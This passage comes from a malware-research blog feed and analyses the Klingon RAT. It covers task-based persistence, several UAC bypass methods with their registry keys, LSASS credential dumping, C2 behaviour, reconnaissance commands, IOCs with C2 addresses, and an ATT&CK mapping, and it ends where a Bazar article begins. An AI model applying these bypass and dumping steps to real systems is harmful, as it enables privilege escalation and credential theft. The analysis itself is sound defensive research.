&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig6.png" title="Figure 6: Winlogon registry modified" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Winlogon registry modified&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Scheduled Task&lt;span class="hx:absolute hx:-mt-20" id="scheduled-task"&gt;&lt;/span&gt;
&lt;a href="#scheduled-task" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware can create a scheduled task called &lt;code&gt;OneDriveUpdate&lt;/code&gt; to maintain
persistence. The task is configured from an XML file, &lt;code&gt;elevator.xml&lt;/code&gt; dropped to
&lt;code&gt;APPDATA&lt;/code&gt;, to trigger upon logon.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig7.png" title="Figure 7: Task configuration file" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Task configuration file&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig8.png" title="Figure 8: Action of triggering the task" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Action of triggering the task&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The file &lt;code&gt;elevator.xml&lt;/code&gt; is then removed from the disk.&lt;/p&gt;
&lt;h3&gt;Privilege Escalation&lt;span class="hx:absolute hx:-mt-20" id="privilege-escalation"&gt;&lt;/span&gt;
&lt;a href="#privilege-escalation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;There are multiple avenues that the malware can take for privilege escalation.
It will first test to see if it already has admin privileges and if it is a
Windows server. To check if the process has admin privileges, it will attempt
to open &lt;code&gt;\\.\PHYSICALDRIVE0&lt;/code&gt;; if unsuccessful, the malware will attempt to open
&lt;code&gt;\\.\SCSI0&lt;/code&gt;. If successful for either of these, it will return &lt;code&gt;True&lt;/code&gt; from the
function. If &lt;code&gt;False&lt;/code&gt;, the program will check to see if it is a Windows server
by running the command &lt;code&gt;systeminfo&lt;/code&gt;, and parsing for the string
&lt;code&gt;Microsoft Windows Server&lt;/code&gt;, as shown in Figure 9.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig9.png" title="Figure 9: Check for Windows Server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Check for Windows Server&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware has four options for privilege escalation, one of which is not
implemented properly:&lt;/p&gt;
&lt;h4&gt;UAC Bypass: Computer Defaults&lt;span class="hx:absolute hx:-mt-20" id="uac-bypass-computer-defaults"&gt;&lt;/span&gt;
&lt;a href="#uac-bypass-computer-defaults" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This exploit starts by opening the following registry key:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HKEY_CURRENT_USER (0x80000001)\Software\Classes\ms-settings\shell\open\command&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The default entry is set to the path of the malware, and an entry
&lt;code&gt;DelegateExecute&lt;/code&gt; has an empty string value added. Next, the program
&lt;code&gt;computerdefaults.exe&lt;/code&gt; is executed to complete the exploit.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig10.png" title="Figure 10: Registry set for exploit" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: Registry set for exploit&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The key is deleted after exploitation.&lt;/p&gt;
&lt;h4&gt;UAC Bypass: Fodhelper&lt;span class="hx:absolute hx:-mt-20" id="uac-bypass-fodhelper"&gt;&lt;/span&gt;
&lt;a href="#uac-bypass-fodhelper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This exploit is similar to the Computer Defaults UAC bypass but this time it
leverages the program &amp;ldquo;Features on Demand Helper&amp;rdquo; (&lt;code&gt;Fodhelper.exe&lt;/code&gt;), a binary
with the &lt;code&gt;autoelevate&lt;/code&gt; setting set to true. The same registry entries are used.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig11.png" title="Figure 11: UAC bypass with Fodhelper.exe" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: UAC bypass with Fodhelper.exe&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;UAC Bypass: Disk Cleanup&lt;span class="hx:absolute hx:-mt-20" id="uac-bypass-disk-cleanup"&gt;&lt;/span&gt;
&lt;a href="#uac-bypass-disk-cleanup" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This UAC bypass works by leveraging the scheduled task named &lt;code&gt;SilentCleanup&lt;/code&gt;.
This task runs with the highest privileges but is configured to have the
ability to be executed by unprivileged users.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig12.png" title="Figure 12: Config for SilentCleanup" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: Config for SilentCleanup&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware attempts to leverage the environment variable &lt;code&gt;%windir%&lt;/code&gt; to execute
itself with higher privileges. The scheduled task runs an action
&lt;code&gt;%windir%\system32\cleanmgr.exe&lt;/code&gt;, therefore the malware tries to set the
&lt;code&gt;windir&lt;/code&gt; variable to the path of the malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig13.png" title="Figure 13: Action of the scheduled task (SilentCleanup)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: Action of the scheduled task (SilentCleanup)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig14.png" title="Figure 14: windir variable set in the registry" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 14: windir variable set in the registry&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After setting the registry, the malware runs the scheduled task.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig15.png" title="Figure 15: Execution of the scheduled task" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 15: Execution of the scheduled task&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The resulting process:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig16.png" title="Figure 16: The elevated process" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 16: The elevated process&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;UAC Bypass: Event Viewer&lt;span class="hx:absolute hx:-mt-20" id="uac-bypass-event-viewer"&gt;&lt;/span&gt;
&lt;a href="#uac-bypass-event-viewer" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Based on the strings in this path, it appears that the malware intended to
leverage the &amp;ldquo;Event Viewer&amp;rdquo; UAC bypass. But this does not appear to be properly
implemented in the program.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig17.png" title="Figure 17: References to eventvwr in a function called by MakeAdmin parent" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 17: References to eventvwr in a function called by MakeAdmin parent&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Command and Control&lt;span class="hx:absolute hx:-mt-20" id="command-and-control"&gt;&lt;/span&gt;
&lt;a href="#command-and-control" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Before Command and Control (C2) is established the malware initiates a
controller struct:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;control&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Controller&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Bot&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;socksSessions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;control&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SocksProxy&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;shellSessions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;control&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Shell&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Conn&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;keepAlive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Conn&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;First, a x509 keypair is decoded from Base64 and loaded by the function
&lt;code&gt;tls.x509KeyPair&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig18.png" title="Figure 18: Loading x509 key pair" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 18: Loading x509 key pair&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The decoded keypair is
&lt;a href="https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/b283988a0bf4f2d51f9a3f4697055901"target="_blank" rel="noopener"&gt;linked here&lt;/a&gt;
and
&lt;a href="https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/bd0ec3fbbf3b1bb1496dd8a53c4fb7e6"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.
Strings from this certificate can be matched to strings in the Issuer DN of a
similar certificate with subject
&amp;ldquo;&lt;a href="https://search.censys.io/certificates/226a9e9c05935884da5507c7647c5e404faf349bdbaf170b9a4c064f7cc697fe"target="_blank" rel="noopener"&gt;UrbanCulture, Inc.&lt;/a&gt;&amp;rdquo;
A further PEM certificate is decoded and appended to the cert pool. A TLS
handshake is performed with the C2 server &lt;code&gt;185.188.183[.]144&lt;/code&gt; on the port
&lt;code&gt;1141&lt;/code&gt; and then creates a Goroutine called &lt;code&gt;Controller.WaitCommands&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The malware is able to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start a SOCKS proxy (&lt;code&gt;proxy&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Start a reverse shell (&lt;code&gt;shell&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Start an RDP server (&lt;code&gt;rdp&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Start a binary (&lt;code&gt;binary&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Update binary (&lt;code&gt;update&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Run PowerShell command (&lt;code&gt;cmd&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The malware will initiate further Goroutines to collect information from the
system. If running as administrator, it will run the &lt;code&gt;Lsass&lt;/code&gt; binary previously
dropped into the temp folder.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig19.png" title="Figure 19: Path of the Lsass binary to be executed" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 19: Path of the Lsass binary to be executed&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The results are stored in a file called &lt;code&gt;Andrew.dmp&lt;/code&gt; inside the temp folder.
This information is sent to the C2 server through a HTTP POST request.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig20.png" title="Figure 20: Location of dump file" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 20: Location of dump file&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another routine will take a fingerprint of the machine, concatenating the
results into a string, and send this off in a HTTP POST request. It runs the
following commands in this order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;systeminfo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ipconfig&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;net view /all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;net view /all domain&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;net users /domain&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nltest /domain_trusts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nltest /domain_trusts /all_trusts&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Finally, the malware will periodically get information about the local network
and adapters.&lt;/p&gt;
&lt;h2&gt;Detect and Respond to Klingon RAT&lt;span class="hx:absolute hx:-mt-20" id="detect-and-respond-to-klingon-rat"&gt;&lt;/span&gt;
&lt;a href="#detect-and-respond-to-klingon-rat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Detect if your Windows machine or server has been compromised by Klingon RAT or
any variant that reuses code using the Intezer Analyze
&lt;a href="https://analyze.intezer.com/endpoint-analyses?utm_campaign=research-blog&amp;amp;utm_content=klingon-rat-holding-on-for-dear-life&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Live Endpoint Scanner&lt;/a&gt;
available via the &lt;a href="https://intezer.com/pricing/?utm_campaign=research-blog&amp;amp;utm_content=klingon-rat-holding-on-for-dear-life&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;enterprise edition&lt;/a&gt;. Running
the scanner will classify all binary code residing in your machine&amp;rsquo;s memory.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig21.png" title="Figure 21: Endpoint scan of an infected system" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 21: Endpoint scan of an infected system&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;th&gt;C2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;8d44ccac6b5512a416339984ad664d79&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;185.188.183[.]144&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;14471a353788bb6cdb6071d0e0a83004&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;94.177.123[.]134&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;327090cbddf94fc901662f0e863ba0cb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;88.214.27[.]40&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;39d550fd902ca4c1461961d01ad1aeb6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;51.83.216[.]211&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;MITRE ATT&amp;amp;CK&lt;span class="hx:absolute hx:-mt-20" id="mitre-attck"&gt;&lt;/span&gt;
&lt;a href="#mitre-attck" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/tactics/TA0002/"target="_blank" rel="noopener"&gt;Execution&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/001/"target="_blank" rel="noopener"&gt;T1059.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/001/"target="_blank" rel="noopener"&gt;PowerShell&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/003/"target="_blank" rel="noopener"&gt;T1059.003&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/003/"target="_blank" rel="noopener"&gt;Windows Command Shell&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1047/"target="_blank" rel="noopener"&gt;T1047&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1047/"target="_blank" rel="noopener"&gt;Windows Management Instrumentation&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/tactics/TA0003/"target="_blank" rel="noopener"&gt;Persistence&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1547/001/"target="_blank" rel="noopener"&gt;T1547.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1547/001/"target="_blank" rel="noopener"&gt;Registry Run Keys / Startup Folder&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1547/004/"target="_blank" rel="noopener"&gt;T1547.004&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1547/004/"target="_blank" rel="noopener"&gt;Winlogon Helper DLL&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1546/003/"target="_blank" rel="noopener"&gt;T1546.003&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1546/003/"target="_blank" rel="noopener"&gt;Windows Management Instrumentation Event Subscription&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1546/012/"target="_blank" rel="noopener"&gt;T1546.012&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1546/012/"target="_blank" rel="noopener"&gt;Image File Execution Options Injection&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1053/005/"target="_blank" rel="noopener"&gt;T1053.005&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1053/005/"target="_blank" rel="noopener"&gt;Scheduled Task&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/tactics/TA0004/"target="_blank" rel="noopener"&gt;Privilege Escalation&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1548/002/"target="_blank" rel="noopener"&gt;T1548.002&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1548/002/"target="_blank" rel="noopener"&gt;Bypass User Account Control&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/tactics/TA0005/"target="_blank" rel="noopener"&gt;Defense Evasion&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1562/001/"target="_blank" rel="noopener"&gt;T1562.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1562/001/"target="_blank" rel="noopener"&gt;Disable or Modify Tools&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1070/004/"target="_blank" rel="noopener"&gt;T1070.004&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1070/004/"target="_blank" rel="noopener"&gt;File Deletion&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/tactics/TA0006/"target="_blank" rel="noopener"&gt;Credential Access&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1003/001/"target="_blank" rel="noopener"&gt;T1003.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1003/001/"target="_blank" rel="noopener"&gt;LSASS Memory&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/tactics/TA0007/"target="_blank" rel="noopener"&gt;Discovery&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1082/"target="_blank" rel="noopener"&gt;T1082&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1082/"target="_blank" rel="noopener"&gt;System Information Discovery&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1016/"target="_blank" rel="noopener"&gt;T1016&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1016/"target="_blank" rel="noopener"&gt;System Network Configuration Discovery&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1018/"target="_blank" rel="noopener"&gt;T1018&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1018/"target="_blank" rel="noopener"&gt;Remote System Discovery&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/tactics/TA0011/"target="_blank" rel="noopener"&gt;Command and Control&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1571/"target="_blank" rel="noopener"&gt;T1571&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1571/"target="_blank" rel="noopener"&gt;Non-Standard Port&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1071/001/"target="_blank" rel="noopener"&gt;T1071.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1071/001/"target="_blank" rel="noopener"&gt;Web Protocols&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Wrapping Up a Year of Infamous Bazar Campaigns</title><link>https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/</link><pubDate>Thu, 27 May 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/</guid><description>
&lt;h2&gt;Bazar is the latest tool developed by the TrickBot gang&lt;span class="hx:absolute hx:-mt-20" id="bazar-is-the-latest-tool-developed-by-the-trickbot-gang"&gt;&lt;/span&gt;
&lt;a href="#bazar-is-the-latest-tool-developed-by-the-trickbot-gang" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Common malware used for cybercrime such as Agent Tesla, Dridex and Formbook
have been around for at least five years and are still distributed and active.
About one year ago, a new malware named Bazar breathed some fresh air into this
landscape. Since its
